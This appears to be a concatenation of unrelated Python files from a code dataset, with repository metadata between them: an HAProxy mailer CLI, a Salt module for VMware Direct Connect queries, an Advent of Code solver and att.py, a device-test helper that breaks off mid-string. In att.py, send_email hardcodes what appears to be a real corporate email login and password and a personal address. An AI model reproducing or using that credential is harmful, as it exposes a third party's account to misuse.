HaproxyMailerFacade, **kwargs): """ Show all mailer """ result = haproxy_mailer_svc.list_mailers() CliOutputFormatter(result, kwargs['output'], kwargs['cols'].split(",")).echo() @mailer.command() @click.argument('uuid') @click.option( '--output', '-o', help='Specifies the Output format.', default="table", type=click.Choice(available_formats()), callback=formatter_from_formatter_name, show_default=True, ) @click.option( '--cols', '-c', help='Which columns should be printed? Pass empty string (-c '') to show all columns', default=( "enabled,name,description,mailservers,sender,recipient,loglevel,timeout,hostname" ), show_default=True, ) @pass_haproxy_mailer_svc def show(haproxy_mailer_svc: HaproxyMailerFacade, **kwargs): """ Show details for mailer """ result = haproxy_mailer_svc.show_mailer(kwargs['uuid']) CliOutputFormatter(result, kwargs['output'], kwargs['cols'].split(",")).echo() @mailer.command() @click.argument('name') @click.option( '--enabled/--no-enabled', help=('Enable this mailer configuration.'), show_default=True, is_flag=True, callback=bool_as_string, default=True, required=True, ) @click.option( '--description', help=('Choose a optional description for this mailer configuration.'), show_default=True, default=None, required=False, ) @click.option( '--mailservers', help=('Add mailservers to this mailer configuration, i.e. 192.168.1.1:25. Use TAB key to complete typing.'), show_default=True, default=None, required=True, ) @click.option( '--sender', help=('Declare the from email address to be used in both the envelope and header of email alerts.'), show_default=True, default=None, required=True, ) @click.option( '--recipient', help=('Declare both the recipient address in the envelope and to address in the header of email alerts.'), show_default=True, default=None, required=True, ) @click.option( '--loglevel', help=( 'Declare the maximum log level of messages for which email alerts will be sent. ' 'This acts as a filter on the sending of email alerts.' ), type=click.Choice(['emerg', 'alert', 'crit', 'err', 'warning', 'notice', 'info', 'debug']), multiple=False, callback=tuple_to_csv, show_default=True, default='alert', required=True, ) @click.option( '--timeout', help=('Defines the time (in seconds) available for a mail/connection to be made and send to the mail server.'), show_default=True, default='30', required=True, ) @click.option( '--hostname', help=('Declare the to hostname address to be used when communicating with mailers.'), show_default=True, default=None, required=False, ) @click.option( '--output', '-o', help='Specifies the Output format.', default="plain", type=click.Choice(available_formats()), callback=formatter_from_formatter_name, show_default=True, ) @click.option( '--cols', '-c', help='Which columns should be printed? Pass empty string (-c '') to show all columns', default="result,validations", show_default=True, ) @pass_haproxy_mailer_svc def create(haproxy_mailer_svc: HaproxyMailerFacade, **kwargs): """ Create a new mailer """ json_payload = { 'mailer': { "enabled": kwargs['enabled'], "name": kwargs['name'], "description": kwargs['description'], "mailservers": kwargs['mailservers'], "sender": kwargs['sender'], "recipient": kwargs['recipient'], "loglevel": kwargs['loglevel'], "timeout": kwargs['timeout'], "hostname": kwargs['hostname'], } } result = haproxy_mailer_svc.create_mailer(json_payload) CliOutputFormatter(result, kwargs['output'], kwargs['cols'].split(",")).echo() @mailer.command() @click.argument('uuid') @click.option( '--enabled/--no-enabled', help=('Enable this mailer configuration.'), show_default=True, is_flag=True, callback=bool_as_string, default=None ) @click.option( '--name', help=('Choose a name for this mailer configuration.'), show_default=True, default=None ) @click.option( '--description', help=('Choose a optional description for this mailer configuration.'), show_default=True, default=None ) @click.option( '--mailservers', help=('Add mailservers to this mailer configuration, i.e. 192.168.1.1:25. Use TAB key to complete typing.'), show_default=True, default=None ) @click.option( '--sender', help=('Declare the from email address to be used in both the envelope and header of email alerts.'), show_default=True, default=None ) @click.option( '--recipient', help=('Declare both the recipient address in the envelope and to address in the header of email alerts.'), show_default=True, default=None ) @click.option( '--loglevel', help=( 'Declare the maximum log level of messages for which email alerts will be sent. ' 'This acts as a filter on the sending of email alerts.' ), type=click.Choice(['emerg', 'alert', 'crit', 'err', 'warning', 'notice', 'info', 'debug']), multiple=False, callback=tuple_to_csv, show_default=True, default=None ) @click.option( '--timeout', help=('Defines the time (in seconds) available for a mail/connection to be made and send to the mail server.'), show_default=True, default=None ) @click.option( '--hostname', help=('Declare the to hostname address to be used when communicating with mailers.'), show_default=True, default=None ) @click.option( '--output', '-o', help='Specifies the Output format.', default="plain", type=click.Choice(available_formats()), callback=formatter_from_formatter_name, show_default=True, ) @click.option( '--cols', '-c', help='Which columns should be printed? Pass empty string (-c '') to show all columns', default="result,validations", show_default=True, ) @pass_haproxy_mailer_svc def update(haproxy_mailer_svc: HaproxyMailerFacade, **kwargs): """ Update a mailer. """ json_payload = { 'mailer': {} } options = ['enabled', 'name', 'description', 'mailservers', 'sender', 'recipient', 'loglevel', 'timeout', 'hostname'] for option in options: if kwargs[option.lower()] is not None: json_payload['mailer'][option] = kwargs[option.lower()] result = haproxy_mailer_svc.update_mailer(kwargs['uuid'], json_payload) CliOutputFormatter(result, kwargs['output'], kwargs['cols'].split(",")).echo() @mailer.command() @click.argument('uuid') @click.option( '--output', '-o', help='Specifies the Output format.', default="plain", type=click.Choice(available_formats()), callback=formatter_from_formatter_name, show_default=True, ) @click.option( '--cols', '-c', help='Which columns should be printed? Pass empty string (-c '') to show all columns', default="result,validations", show_default=True, ) @pass_haproxy_mailer_svc def delete(haproxy_mailer_svc: HaproxyMailerFacade, **kwargs): """ Delete mailer """ result = haproxy_mailer_svc.delete_mailer(kwargs['uuid']) CliOutputFormatter(result, kwargs['output'], kwargs['cols'].split(",")).echo()

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py

Python

atihelper/__init__.py

datapip/atihelper

0449fb10ca0259780ec36ad1c005c8b73e522738

[ "MIT" ]

null

atihelper/__init__.py

datapip/atihelper

0449fb10ca0259780ec36ad1c005c8b73e522738

[ "MIT" ]

null

atihelper/__init__.py

datapip/atihelper

0449fb10ca0259780ec36ad1c005c8b73e522738

[ "MIT" ]

null

from .atihelper import Request

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py

Python

tests/roots/test-advanced/apidoc_dummy_package/__init__.py

lalten/apidoc

4e3dc7aafcb14c0557ac308a27a2a751c0823d9f

[ "BSD-2-Clause" ]

null

tests/roots/test-advanced/apidoc_dummy_package/__init__.py

lalten/apidoc

4e3dc7aafcb14c0557ac308a27a2a751c0823d9f

[ "BSD-2-Clause" ]

null

tests/roots/test-advanced/apidoc_dummy_package/__init__.py

lalten/apidoc

4e3dc7aafcb14c0557ac308a27a2a751c0823d9f

[ "BSD-2-Clause" ]

null

def bogus(): return 'bogus'

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8bcb2b627e0376e0a1648b9e0aa8407bb6ed33bd

152

py

Python

nlingua/tokenizers/base.py

clueless-skywatcher/polyglossa

93bdfe3da457454fd984c0af4bf3a6db724d6b56

[ "MIT" ]

null

nlingua/tokenizers/base.py

clueless-skywatcher/polyglossa

93bdfe3da457454fd984c0af4bf3a6db724d6b56

[ "MIT" ]

null

nlingua/tokenizers/base.py

clueless-skywatcher/polyglossa

93bdfe3da457454fd984c0af4bf3a6db724d6b56

[ "MIT" ]

null

class BaseTokenizer: def __init__(self, split_string = ' '): self._split_string = split_string def tokenize(self, s): pass

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8bd82ed8c2d17038ed951bf9847ce3b54f7c30d8

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py

Python

sdk/wrapper/__init__.py

levelops-tools-admin/levelops-plugins

35fc10c23b1953d0c442a6a9a03b2ccb58604733

[ "CNRI-Python", "Apache-1.1" ]

null

sdk/wrapper/__init__.py

levelops-tools-admin/levelops-plugins

35fc10c23b1953d0c442a6a9a03b2ccb58604733

[ "CNRI-Python", "Apache-1.1" ]

null

sdk/wrapper/__init__.py

levelops-tools-admin/levelops-plugins

35fc10c23b1953d0c442a6a9a03b2ccb58604733

[ "CNRI-Python", "Apache-1.1" ]

null

from .ToolRunner import ToolRunner

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py

Python

src/saltext/vmware/modules/vmc_direct_connect.py

kdsalvy/salt-ext-modules-vmware-1

9fdc941692e4c526f575f33b2ce23c1470582934

[ "Apache-2.0" ]

10

2021-11-02T20:24:44.000Z

2022-03-11T05:54:27.000Z

src/saltext/vmware/modules/vmc_direct_connect.py

cmcmarrow/salt-ext-modules-vmware

c546a9f9ae121b7399dabae82f714117d0ab558d

[ "Apache-2.0" ]

83

2021-10-01T15:13:02.000Z

2022-03-31T16:22:40.000Z

src/saltext/vmware/modules/vmc_direct_connect.py

cmcmarrow/salt-ext-modules-vmware

c546a9f9ae121b7399dabae82f714117d0ab558d

[ "Apache-2.0" ]

15

2021-09-30T23:17:27.000Z

2022-03-23T06:54:22.000Z

""" Salt execution module for VMC Direct Connect Provides methods to Display Direct Connect Information of an SDDC. """ import logging from saltext.vmware.utils import vmc_constants from saltext.vmware.utils import vmc_request log = logging.getLogger(__name__) __virtualname__ = "vmc_direct_connect" def __virtual__(): return __virtualname__ def get_accounts( hostname, refresh_key, authorization_host, org_id, sddc_id, verify_ssl=True, cert=None ): """ Retrieves Direct Connect Account information for given SDDC CLI Example: .. code-block:: bash salt vm_minion vmc_direct_connect.get_accounts hostname=nsxt-manager.local ... hostname The host name of NSX-T manager refresh_key API Token of the user which is used to get the Access Token required for VMC operations authorization_host Hostname of the VMC cloud console org_id The Id of organization to which the SDDC belongs to sddc_id The Id of SDDC for which the Direct Connect Account information should be retrieved verify_ssl (Optional) Option to enable/disable SSL verification. Enabled by default. If set to False, the certificate validation is skipped. cert (Optional) Path to the SSL client certificate file to connect to VMC Cloud Console. The certificate can be retrieved from browser. """ log.info("Retrieving Direct Connect Account information for SDDC %s", sddc_id) api_url_base = vmc_request.set_base_url(hostname) api_url = ( "{base_url}vmc/reverse-proxy/api/orgs/{org_id}/sddcs/{sddc_id}/" "cloud-service/api/v1/infra/accounts" ) api_url = api_url.format(base_url=api_url_base, org_id=org_id, sddc_id=sddc_id) return vmc_request.call_api( method=vmc_constants.GET_REQUEST_METHOD, url=api_url, refresh_key=refresh_key, authorization_host=authorization_host, description="vmc_direct_connect.get_accounts", verify_ssl=verify_ssl, cert=cert, ) def get_associated_groups( hostname, refresh_key, authorization_host, org_id, sddc_id, verify_ssl=True, cert=None ): """ Retrieves Direct Connect Associated Groups information for given SDDC CLI Example: .. code-block:: bash salt vm_minion vmc_direct_connect.get_associated_groups hostname=nsxt-manager.local ... hostname The host name of NSX-T manager refresh_key API Token of the user which is used to get the Access Token required for VMC operations authorization_host Hostname of the VMC cloud console org_id The Id of organization to which the SDDC belongs to sddc_id The Id of SDDC for which the Direct Connect Associated Groups information should be retrieved verify_ssl (Optional) Option to enable/disable SSL verification. Enabled by default. If set to False, the certificate validation is skipped. cert (Optional) Path to the SSL client certificate file to connect to VMC Cloud Console. The certificate can be retrieved from browser. """ log.info("Retrieving Direct Connect Associated Groups information for SDDC %s", sddc_id) api_url_base = vmc_request.set_base_url(hostname) api_url = ( "{base_url}vmc/reverse-proxy/api/orgs/{org_id}/sddcs/{sddc_id}/" "cloud-service/api/v1/infra/associated-groups/" ) api_url = api_url.format(base_url=api_url_base, org_id=org_id, sddc_id=sddc_id) return vmc_request.call_api( method=vmc_constants.GET_REQUEST_METHOD, url=api_url, refresh_key=refresh_key, authorization_host=authorization_host, description="vmc_direct_connect.get_associated_groups", verify_ssl=verify_ssl, cert=cert, ) def get_bgp_info( hostname, refresh_key, authorization_host, org_id, sddc_id, verify_ssl=True, cert=None ): """ Retrieves Direct Connect BGP related information for given SDDC, including current Autonomous System Number of the VGW attached to the VPC CLI Example: .. code-block:: bash salt vm_minion vmc_direct_connect.get_bgp_info hostname=nsxt-manager.local ... hostname The host name of NSX-T manager refresh_key API Token of the user which is used to get the Access Token required for VMC operations authorization_host Hostname of the VMC cloud console org_id The Id of organization to which the SDDC belongs to sddc_id The Id of SDDC for which the Direct Connect BGP related information should be retrieved verify_ssl (Optional) Option to enable/disable SSL verification. Enabled by default. If set to False, the certificate validation is skipped. cert (Optional) Path to the SSL client certificate file to connect to VMC Cloud Console. The certificate can be retrieved from browser. """ log.info("Retrieving Direct Connect BGP related information for SDDC %s", sddc_id) api_url_base = vmc_request.set_base_url(hostname) api_url = ( "{base_url}vmc/reverse-proxy/api/orgs/{org_id}/sddcs/{sddc_id}/" "cloud-service/api/v1/infra/direct-connect/bgp" ) api_url = api_url.format(base_url=api_url_base, org_id=org_id, sddc_id=sddc_id) return vmc_request.call_api( method=vmc_constants.GET_REQUEST_METHOD, url=api_url, refresh_key=refresh_key, authorization_host=authorization_host, description="vmc_direct_connect.get_bgp_info", verify_ssl=verify_ssl, cert=cert, ) def get_bgp_status( hostname, refresh_key, authorization_host, org_id, sddc_id, verify_ssl=True, cert=None ): """ Retrieves Direct Connect BGP status information for given SDDC CLI Example: .. code-block:: bash salt vm_minion vmc_direct_connect.get_bgp_status hostname=nsxt-manager.local ... hostname The host name of NSX-T manager refresh_key API Token of the user which is used to get the Access Token required for VMC operations authorization_host Hostname of the VMC cloud console org_id The Id of organization to which the SDDC belongs to sddc_id The Id of SDDC for which the Direct Connect BGP status information should be retrieved verify_ssl (Optional) Option to enable/disable SSL verification. Enabled by default. If set to False, the certificate validation is skipped. cert (Optional) Path to the SSL client certificate file to connect to VMC Cloud Console. The certificate can be retrieved from browser. """ log.info("Retrieving Direct Connect BGP status information for SDDC %s", sddc_id) api_url_base = vmc_request.set_base_url(hostname) api_url = ( "{base_url}vmc/reverse-proxy/api/orgs/{org_id}/sddcs/{sddc_id}/" "cloud-service/api/v1/infra/realized-state/status?intent_path=/infra/direct-connect/bgp" ) api_url = api_url.format(base_url=api_url_base, org_id=org_id, sddc_id=sddc_id) return vmc_request.call_api( method=vmc_constants.GET_REQUEST_METHOD, url=api_url, refresh_key=refresh_key, authorization_host=authorization_host, description="vmc_direct_connect.get_bgp_status", verify_ssl=verify_ssl, cert=cert, ) def get_advertised_routes( hostname, refresh_key, authorization_host, org_id, sddc_id, verify_ssl=True, cert=None ): """ Retrieves BGP routes that are advertised by Direct Connect from VMC provider to on-premise datacenter. CLI Example: .. code-block:: bash salt vm_minion vmc_direct_connect.get_advertised_routes hostname=nsxt-manager.local ... hostname The host name of NSX-T manager refresh_key API Token of the user which is used to get the Access Token required for VMC operations authorization_host Hostname of the VMC cloud console org_id The Id of organization to which the SDDC belongs to sddc_id The Id of SDDC for which the BGP routes that are advertised by Direct Connect should be retrieved verify_ssl (Optional) Option to enable/disable SSL verification. Enabled by default. If set to False, the certificate validation is skipped. cert (Optional) Path to the SSL client certificate file to connect to VMC Cloud Console. The certificate can be retrieved from browser. """ log.info("Retrieving BGP routes that are advertised by Direct Connect of an SDDC %s", sddc_id) api_url_base = vmc_request.set_base_url(hostname) api_url = ( "{base_url}vmc/reverse-proxy/api/orgs/{org_id}/sddcs/{sddc_id}/" "cloud-service/api/v1/infra/direct-connect/routes/advertised" ) api_url = api_url.format(base_url=api_url_base, org_id=org_id, sddc_id=sddc_id) return vmc_request.call_api( method=vmc_constants.GET_REQUEST_METHOD, url=api_url, refresh_key=refresh_key, authorization_host=authorization_host, description="vmc_direct_connect.get_advertised_routes", verify_ssl=verify_ssl, cert=cert, ) def get_learned_routes( hostname, refresh_key, authorization_host, org_id, sddc_id, verify_ssl=True, cert=None ): """ Retrieve BGP routes that are learned by Direct Connect from on-premise datacenter. CLI Example: .. code-block:: bash salt vm_minion vmc_direct_connect.get_learned_routes hostname=nsxt-manager.local ... hostname The host name of NSX-T manager refresh_key API Token of the user which is used to get the Access Token required for VMC operations authorization_host Hostname of the VMC cloud console org_id The Id of organization to which the SDDC belongs to sddc_id The Id of SDDC for which the BGP routes that are learned by Direct Connect should be retrieved verify_ssl (Optional) Option to enable/disable SSL verification. Enabled by default. If set to False, the certificate validation is skipped. cert (Optional) Path to the SSL client certificate file to connect to VMC Cloud Console. The certificate can be retrieved from browser. """ log.info("Retrieving BGP routes that are learned by Direct Connect of an SDDC %s", sddc_id) api_url_base = vmc_request.set_base_url(hostname) api_url = ( "{base_url}vmc/reverse-proxy/api/orgs/{org_id}/sddcs/{sddc_id}/" "cloud-service/api/v1/infra/direct-connect/routes/learned" ) api_url = api_url.format(base_url=api_url_base, org_id=org_id, sddc_id=sddc_id) return vmc_request.call_api( method=vmc_constants.GET_REQUEST_METHOD, url=api_url, refresh_key=refresh_key, authorization_host=authorization_host, description="vmc_direct_connect.get_learned_routes", verify_ssl=verify_ssl, cert=cert, ) def get_vifs( hostname, refresh_key, authorization_host, org_id, sddc_id, verify_ssl=True, cert=None ): """ Retrieves Direct Connect VIFs (Virtual Interface) available in the given SDDC. The response includes all non-connected VIFs (with states "available", "down", "pending" and "confirming") and connected VIFs that are available to the given SDDC. CLI Example: .. code-block:: bash salt vm_minion vmc_direct_connect.get_vifs hostname=nsxt-manager.local ... hostname The host name of NSX-T manager refresh_key API Token of the user which is used to get the Access Token required for VMC operations authorization_host Hostname of the VMC cloud console org_id The Id of organization to which the SDDC belongs to sddc_id The Id of SDDC for which the Direct Connect VIFs should be retrieved verify_ssl (Optional) Option to enable/disable SSL verification. Enabled by default. If set to False, the certificate validation is skipped. cert (Optional) Path to the SSL client certificate file to connect to VMC Cloud Console. The certificate can be retrieved from browser. """ log.info("Retrieving Direct Connect VIFs available in the SDDC %s", sddc_id) api_url_base = vmc_request.set_base_url(hostname) api_url = ( "{base_url}vmc/reverse-proxy/api/orgs/{org_id}/sddcs/{sddc_id}/" "cloud-service/api/v1/infra/direct-connect/vifs" ) api_url = api_url.format(base_url=api_url_base, org_id=org_id, sddc_id=sddc_id) return vmc_request.call_api( method=vmc_constants.GET_REQUEST_METHOD, url=api_url, refresh_key=refresh_key, authorization_host=authorization_host, description="vmc_direct_connect.get_vifs", verify_ssl=verify_ssl, cert=cert, )

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null

0

6

47a5d8f840faaf720cccbb72d007f6ec4ab36915

150

py

Python

ch1/zip.py

lyskevin/cpbook-code

027f77933428d7688f935800ffa9109794e429b1

[ "UPL-1.0" ]

1,441

2018-12-03T23:46:17.000Z

2022-03-29T06:36:43.000Z

ch1/zip.py

lyskevin/cpbook-code

027f77933428d7688f935800ffa9109794e429b1

[ "UPL-1.0" ]

53

2018-12-11T13:50:35.000Z

2022-03-20T04:30:39.000Z

ch1/zip.py

lyskevin/cpbook-code

027f77933428d7688f935800ffa9109794e429b1

[ "UPL-1.0" ]

420

2018-12-04T11:22:08.000Z

2022-03-27T15:25:33.000Z

A = [(1, 2, 3), (4, 5, 6)] # list A = 2 tuples of 3 [*zip(*A)] # [(1, 4), (2, 5), (3, 6)]

50

75

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150

1.52381

0.52381

0.125

0

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0.56

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1

0

1

0

1

0

null

0

6

9a50df8aeb6d6c4d0adc7c31ce59e16c5458801a

30

py

Python

binreconfiguration/simulator/nonreconfigurable/__init__.py

vialette/binreconfiguration

57cc024fdcf9b083a830270176ade185b65a85d0

[ "MIT" ]

null

binreconfiguration/simulator/nonreconfigurable/__init__.py

vialette/binreconfiguration

57cc024fdcf9b083a830270176ade185b65a85d0

[ "MIT" ]

null

binreconfiguration/simulator/nonreconfigurable/__init__.py

vialette/binreconfiguration

57cc024fdcf9b083a830270176ade185b65a85d0

[ "MIT" ]

null

from .overflow import Overflow

30

0.866667

4

30

6.5

0.75

0

0.1

30

1

30

0.962963

0

1

0

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1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

9a6171186b8bbf335990347c5671ca681aeef52e

42

py

Python

modulo 4/clase.py

antonio343/clase

fda04a606246695aa5d93c8b2b5e2890a16d5973

[ "MIT" ]

null

modulo 4/clase.py

antonio343/clase

fda04a606246695aa5d93c8b2b5e2890a16d5973

[ "MIT" ]

null

modulo 4/clase.py

antonio343/clase

fda04a606246695aa5d93c8b2b5e2890a16d5973

[ "MIT" ]

null

import http.server python3 -m http.server

14

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0

1

0

null

0

1

0

1

0

6

d00a9ab3f18bcb1926c4d043f2c5584504864753

30

py

Python

jive_jackstraw/__init__.py

thomaskeefe/jive_jackstraw

ffa9f04e48f6e66b9b90405e09b28fcf34ef348e

[ "MIT" ]

null

jive_jackstraw/__init__.py

thomaskeefe/jive_jackstraw

ffa9f04e48f6e66b9b90405e09b28fcf34ef348e

[ "MIT" ]

null

jive_jackstraw/__init__.py

thomaskeefe/jive_jackstraw

ffa9f04e48f6e66b9b90405e09b28fcf34ef348e

[ "MIT" ]

null

from .jive_jackstraw import *

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d067ce50e25f62d8f2bb3c64dbf38c1e33a68d10

3,252

py

Python

day4/day4.py

efu98/adventofcode

4e36210514c121d143c2936729ff87ed3ce931be

[ "MIT" ]

null

day4/day4.py

efu98/adventofcode

4e36210514c121d143c2936729ff87ed3ce931be

[ "MIT" ]

null

day4/day4.py

efu98/adventofcode

4e36210514c121d143c2936729ff87ed3ce931be

[ "MIT" ]

null

import numpy as np import re BINGO_SIZE = 5 def part_one(): with open("input", "r") as f: values = f.readlines() drawn_number = np.array(values[0].split(','), dtype=int) # shape values as a array of matrix of size 5, 5 values = np.array(values[1:]) values = values[values[:] != '\n'] values = np.array( list(map(lambda x: re.split('(?<=\\S) ', x.strip()), values)), dtype=int) values = values.reshape( int(values.shape[0]/BINGO_SIZE), BINGO_SIZE, BINGO_SIZE) # create a matrix of booleans where true are checked numbers and # false are unchecked ones checked_values = np.zeros(values.shape, dtype=bool) # drawing numbers for nb in drawn_number: checked_values = np.logical_or(checked_values, (values[:] == nb)) # check which columns and rows are fully checked full_column = np.all(checked_values, axis=1) full_row = np.all(checked_values, axis=2) # if one column is full if np.any(full_column): # get the winning board values = values[np.nonzero(full_column)[0]][0] checked_values = checked_values[np.nonzero(full_column)[0]][0] return(values[~checked_values].sum()*nb) # if one row is full if np.any(full_row): # get the winning board values = values[np.nonzero(full_row)[0]][0] checked_values = checked_values[np.nonzero(full_row)[0]][0] return(values[~checked_values].sum()*nb) def part_two(): with open("input", "r") as f: values = f.readlines() drawn_number = np.array(values[0].split(','), dtype=int) # shape values as a array of matrix of size 5, 5 values = np.array(values[1:]) values = values[values[:] != '\n'] values = np.array(list(map(lambda x: re.split('(?<=\\S) ', x.strip()), values)), dtype=int) values = values.reshape( int(values.shape[0]/BINGO_SIZE), BINGO_SIZE, BINGO_SIZE) # create a matrix of booleans where true are checked numbers and # false are unchecked ones checked_values = np.zeros(values.shape, dtype=bool) for nb in drawn_number: checked_values = np.logical_or(checked_values, (values[:] == nb)) full_column = np.all(checked_values, axis=1) full_row = np.all(checked_values, axis=2) if values.shape[0] > 1: if np.any(full_column): values = np.delete( values, np.nonzero(full_column)[0], axis=0) checked_values = np.delete( checked_values, np.nonzero(full_column)[0], axis=0) elif np.any(full_row): values = np.delete(values, np.nonzero(full_row)[0], axis=0) checked_values = np.delete( checked_values, np.nonzero(full_row)[0], axis=0) elif values.shape[0] == 1: if np.any(full_column) or np.any(full_row): return(values[~checked_values].sum()*nb) print(part_two())

36.539326

99

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0.192488

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0.902162

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null

0

1

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null

0

6

d0bef27fc4502c8950d4881ca9616b19b52811ed

55,916

py

Python

att.py

lzpsgh/GizTester

63abd60cbfaa2342ad574ab9b5d54df7ce1e5b19

[ "MIT" ]

1

2022-03-21T08:04:25.000Z

att.py

lzpsgh/GizTester

63abd60cbfaa2342ad574ab9b5d54df7ce1e5b19

[ "MIT" ]

null

att.py

lzpsgh/GizTester

63abd60cbfaa2342ad574ab9b5d54df7ce1e5b19

[ "MIT" ]

null

#!/usr/bin/python import os import sys import shutil from os import listdir from os.path import isfile, join import openpyxl import unittest import time import smtplib from email.mime.text import MIMEText from email.header import Header from email.utils import formataddr from email.mime.multipart import MIMEMultipart # 注意qq邮箱使用的是bg18030编码 def init(): """ user_pwd="123" mac="867790039570708" hard_ver="00BSJC20" soft_ver="04030004" cutwifi_path="${ATT_HOME}/${mod_dir}/cutwifi.sh" common_path="${ATT_HOME}/${mod_dir}/casefile/common.json" rewriting_path="${ATT_HOME}/${mod_dir}/casefile/rewriting.json" vitalcase_path="${ATT_HOME}/${mod_dir}/casefile/vitalcase" ota_path="${ATT_HOME}/${mod_dir}/otafile" mcu_product_path="${ATT_HOME}/${mcu_dir}/gizwits/gizwits_product.h" mcu_protocol_path="${ATT_HOME}/${mcu_dir}/gizwits/gizwits_protocol.h" mcu_gdev_path="${ATT_HOME}/${mcu_dir}/objs/gDev" """ def deployATT(x, y): """ # 1. 配置cutwifi.sh local eth=`ip addr show | grep -e "inet[^6].*brd" | awk '{print $NF}'` sed -i "s/^idwifi=\".*\"/idwifi=\"${eth}\"/g" ${cutwifi_path} echo "[ok]配置cutwifi.sh" # 2. 配置 common.json sed -i "s/\"mac\".*/\"mac\":\"${mac^^}\",/g" ${common_path} local mac_end4=${mac:0-4} local rountssid="XPG-GAgent-${mac_end4,,}" sed -i "s/\"rountssid\".*/\"rountssid\":\"${rountssid}\",/g" ${common_path} local pk_att=`grep "pk" ${common_path} | awk -F ':|,' '{print $2}'` local ps_att=`grep "productSecret" ${common_path} | awk -F ':|,' '{print $2}'` local pk_mcu=`grep "^#define PRODUCT_KEY" ${mcu_protocol_path} | awk -F ' |/' '{print $3}'` local ps_mcu=`grep "^#define PRODUCT_SECRET" ${mcu_protocol_path} | awk -F ' |/' '{print $3}'` # if [[ "${pk_att}" -ne "${pk_mcu}" ]] || [[ "${ps_att}" -ne "${ps_mcu}" ]] ;then if [[ "${pk_att}" != "${pk_mcu}" ]] ; then echo "[err]模组和MCU中的pk、ps不一致,请检查" echo "[err]ATT中的pk是${pk_att},ps是${ps_att}." echo "[err]MCU中的pk是${pk_mcu},ps是${ps_mcu}." fi echo "[ok]配置common.json" # 3. 配置rewritting.json # 自己把ota的bin文件放到otafile中,文件名格式要求"GAgent_00ESP826_04020036.bin",不能有其他 # 判断bin文件是否存在, 没有要提醒用户把bin文件先放进去. # 同时要考虑重命名后是否会和原有的文件重名 # 定位到rewritting中,并用新文件名替换 # 让shell处理json的确是难为它了...,硬要处理又不够优雅 # 有很多需要用户干预的地方, 自动化这里略显鸡肋, 期待PyQT版ATT # cd ${ota_path} # M2M_ManageCMD中的PK_PS,先不改. 写死pk是583f6c3544d0471192d990171a9d443d，ps是288a0f87a83b48ffa7ddddbbd28e396e， echo "[err]配置rewritting.json (shell暂时不想处理JSON数组)" # 4. 其他检查项 # TEST 没有log目录时自动创建,到时要测试下执行后的pwd. (cd ${ATT_HOME}/${mcu_dir} && [[ ! -e log ]] && mkdir log) (cd ${ATT_HOME}/${mod_dir} && [[ ! -e log ]] && mkdir log) echo "[ok]检查MCU用例开关: " grep MCUOTA ${vitalcase_path} #| awk -F ':' '{print $2}' echo "[ok]检查OTA用例开关: " grep BigData ${vitalcase_path} #| awk -F ':' '{print $2}' local uart_local=`ls /dev/ttyUSB*` # /dev/ttyUSB0 local uart_expect=`grep -e "^#define UARTNAME" ${mcu_product_path} | awk -F " |\"" '{print $4}'` if [[ "${uart_local}" != "${uart_expect}" ]] ; then echo "[err]本地与头文件中定义的tty号不一致，请检查" echo "[err]本地:${uart_local}, 头文件:${uart_expect}" else echo "[ok]检查tty号一致: ${uart_local}" fi echo "[ok]脚本配置检查完成" """ def runATT(x, y): """ # test文件和gDev文件不存在的情况暂不处理 # gnome-terminal只针对Gnome用户,其他桌面环境待后续适配 [[ -z `which gnome-terminal` ]] && echo "[err]启动ATT失败，请检查gnome-terminal命令是否正常" && return # module_dir= (${mode} -eq 1)?"${mod_dir}":"${mod_dir}" $(gnome-terminal -x bash -c "cd ${ATT_HOME}/${mod_dir}; echo ${user_pwd}|sudo -S ./test; exec bash") $(gnome-terminal -x bash -c "cd ${ATT_HOME}/${mcu_dir}; echo ${user_pwd}|sudo -S ./objs/gDev; exec bash") echo "[ok]开始运行ATT" """ def backupLog(x, y): """ cd ${ATT_HOME} logname="allinlog-`date '+%m%d%H%M%S'`" [[ ! -f ${logname} ]] && mkdir -m 755 ${logname} ALOG_HOME=${ATT_HOME}/${logname} # TODO log文件夹不存在时 cd ${ATT_HOME}/${mcu_dir}/log && mcu_last_log=`ls -r | head -n 1` [[ ! -z ${mcu_last_log} ]] && echo ${user_pwd} |sudo -S chmod 755 ${mcu_last_log} && cp ${mcu_last_log} ${ALOG_HOME} && echo "[ok]已拷贝 mcu 最新日志" cd ${ATT_HOME}/${mod_dir}/log && wifi_last_log=`ls -r | head -n 1` [[ ! -z ${wifi_last_log} ]] && echo ${user_pwd} |sudo -S chmod 755 ${wifi_last_log} && cp ${wifi_last_log} ${ALOG_HOME} && echo "[ok]已拷贝模组最新日志" cd ${ATT_HOME}/${mod_dir} [[ -f GizSDKLogFile.sys ]] && cp GizSDKLogFile.sys ${ALOG_HOME} && echo "[ok]已拷贝 daemon 最新日志" echo "[ok]日志备份完成,路径是: ${ALOG_HOME}" """ def pickOpt(): """ d) deployATT ;; c) cleanLog ;; r) runATT ;; b) backupLog ;; *) help ;; """ return 0 def help(): helpMsg = """ 【使用方法】自动配置: att d (执行前先改好main函数的参数，但OTA相关用例暂不支持) 清理日志: att c (清理相关目录下时间最近的日志) 执行测试: att r (自动运行 test 和 /objs/gDev) 备份日志: att b (将mcu和att日志统一拷贝到另外目录中) """ print(helpMsg) ATT_HOME = os.path.abspath(os.path.dirname(__file__)) mcu_dir = "MCU" mod_dir = "ATT_AIR" log_dir = "log" def cleanLog(): rmLogFile(ATT_HOME+os.sep+mcu_dir+os.sep+log_dir) rmLogFile(ATT_HOME+os.sep+mod_dir+os.sep+log_dir) print("日志清除成功") def rmLogFile(log_path): print(log_path) # 通过openpyxl与time库修改绩效表中日期为当前时间 def write_excel(): # 读取excel wb = openpyxl.load_workbook('jixiaokaohe.xlsx') worksheet = wb['sheet名称'] # 修改指定行数据并保存到本地 worksheet.cell(2, 8, str(time.strftime('%Y.%m.%d', time.localtime()))) wb.save(filename='jixiaokaohe.xlsx') # 发送邮件 def send_email(): from_addr = 'zpli@gizwits.com' password = 'Gwli33833110' # to_addr = ",".join(["mzfe<1017476271@qq.com>", "mrtin<louis-me@hotmail.com>"]) to_addr = ",".join(["mzfe<1017476271@qq.com>"]) smtp_server = 'smtp.exmail.qq.com' smtp_port = 465 # 创建一个带附件的实例 msg = MIMEMultipart() # msg['From'] = Header("李兆鹏Alan", 'utf-8') msg['From'] = "Alan<zpli@gizwits.com>" msg['To'] = to_addr # msg['To'] = ",".join(["昵称1"<nichengyi@163.com>,"昵称2"<nichengwer@qq.com>]) subject = '图片' msg['Subject'] = Header(subject, 'utf-8') # 正文 msg.attach(MIMEText("你好:<p>详情见附件！</p> <img 